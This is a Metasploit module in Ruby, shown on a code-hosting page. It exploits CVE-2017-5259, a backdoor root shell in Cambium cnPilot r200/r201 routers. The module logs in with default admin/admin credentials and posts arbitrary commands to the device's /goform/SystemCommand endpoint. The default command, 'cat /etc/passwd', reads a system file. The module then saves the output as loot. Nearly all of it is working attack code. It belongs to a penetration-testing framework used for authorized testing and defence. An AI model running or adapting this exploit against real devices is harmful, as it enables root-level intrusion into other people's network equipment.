Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/admin/http/cnpilot_r_cmd_exec.rb
19721 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
include Msf::Auxiliary::CNPILOT
8
9
def initialize(info = {})
10
super(
11
update_info(
12
info,
13
'Name' => "Cambium cnPilot r200/r201 Command Execution as 'root'",
14
'Description' => %q{
15
Cambium cnPilot r200/r201 device software versions 4.2.3-R4 to
16
4.3.3-R4, contain an undocumented, backdoor 'root' shell. This shell is
17
accessible via a specific url, to any authenticated user. The module uses this
18
shell to execute arbitrary system commands as 'root'.
19
},
20
'Author' => [
21
'Karn Ganeshen <KarnGaneshen[at]gmail.com>'
22
],
23
'References' => [
24
['CVE', '2017-5259'],
25
['URL', 'https://www.rapid7.com/blog/post/2017/12/19/r7-2017-25-cambium-epmp-and-cnpilot-multiple-vulnerabilities/']
26
],
27
'License' => MSF_LICENSE,
28
'Notes' => {
29
'Stability' => [CRASH_SAFE],
30
'SideEffects' => [IOC_IN_LOGS],
31
'Reliability' => []
32
}
33
)
34
)
35
36
register_options(
37
[
38
OptInt.new('TIMEOUT', [true, 'HTTP connection timeout', 10]),
39
Opt::RPORT(80), # Application may run on a different port too. Change port accordingly.
40
OptString.new('USERNAME', [false, 'A specific username to authenticate as', 'admin']),
41
OptString.new('PASSWORD', [false, 'A specific password to authenticate with', 'admin']),
42
OptString.new('CMD', [true, 'Command(s) to run', 'cat /etc/passwd'])
43
]
44
)
45
46
deregister_options('DB_ALL_CREDS', 'DB_ALL_PASS', 'DB_ALL_USERS', 'USER_AS_PASS', 'USERPASS_FILE', 'USER_FILE', 'PASS_FILE', 'BLANK_PASSWORDS', 'BRUTEFORCE_SPEED', 'STOP_ON_SUCCESS')
47
end
48
49
def run_host(_ip)
50
unless is_app_cnpilot?
51
return
52
end
53
end
54
55
# command execution happens here
56
57
def cmd_exec_run(the_cookie)
58
# Verify backdoor 'root' shell url exists
59
root_shell = (ssl ? 'https' : 'http').to_s + '://' + "#{rhost}:#{rport}" + '/adm/syscmd.asp'
60
print_status("#{rhost}:#{rport} - Checking backdoor 'root' shell...")
61
62
res = send_request_cgi(
63
{
64
'uri' => '/adm/syscmd.asp',
65
'method' => 'GET',
66
'cookie' => the_cookie,
67
'headers' => {
68
'Accept' => 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8'
69
}
70
}
71
)
72
73
# Now POST the command
74
if res && res.code == 200
75
uri1 = '/goform/SystemCommand'
76
inject_cmd = datastore['CMD']
77
print_good("#{rhost}:#{rport} - You can access the 'root' shell at: #{root_shell}")
78
print_good("#{rhost}:#{rport} - Executing command - #{inject_cmd}")
79
80
send_request_cgi(
81
{
82
'uri' => uri1,
83
'method' => 'POST',
84
'cookie' => the_cookie,
85
'headers' => {
86
'Accept' => '*/*',
87
'Accept-Language' => 'en-US,en;q=0.5',
88
'Accept-Encoding' => 'gzip, deflate',
89
'Connection' => 'keep-alive'
90
},
91
'vars_post' =>
92
{
93
'command' => inject_cmd,
94
'SystemCommandSubmit' => 'Apply'
95
}
96
}
97
)
98
99
# Results are populated in the first url, so GET it once more
100
res = send_request_cgi(
101
{
102
'uri' => '/adm/syscmd.asp',
103
'method' => 'GET',
104
'cookie' => the_cookie,
105
'headers' => {
106
'Accept' => 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8'
107
}
108
}
109
)
110
111
html = Nokogiri::HTML(res.body)
112
search_result = html.search('textarea').text
113
114
if search_result.nil?
115
print_status('Command run did not return any results or invalid command. Note that cnPilot devices only have a restricted *nix command-set.')
116
else
117
print_good(search_result.to_s)
118
119
# w00t we got l00t
120
loot_name = 'cmd-exec-log'
121
loot_type = 'text/plain'
122
loot_desc = 'Cambium cnPilot CMD Exec Results'
123
data = search_result.to_s
124
p = store_loot(loot_name, loot_type, datastore['RHOST'], data, loot_desc)
125
print_good("File saved in: #{p}")
126
end
127
else
128
print_error("#{rhost}:#{rport} - Backdoor 'root' shell not found. Affected versions are - v4.2.3-R4 and newer. You can try to verify the shell at #{root_shell}")
129
return
130
end
131
end
132
133
#
134
# Login & initiate cmd_exec_run
135
#
136
137
def run_login
138
cookie, cnpilot_version = do_login(datastore['USERNAME'], datastore['PASSWORD'])
139
if cookie == 'skip' && cnpilot_version == 'skip'
140
return
141
elsif ['4.2.3-R4', '4.3.1-R1', '4.3.2-R4', '4.3.3-R4'].include?(cnpilot_version.to_s)
142
cmd_exec_run(cookie)
143
else
144
vprint_error("#{rhost}:#{rport} - This software version is not vulnerable. Affected versions are - v4.2.3-R4 and newer.")
145
end
146
end
147
end
148
149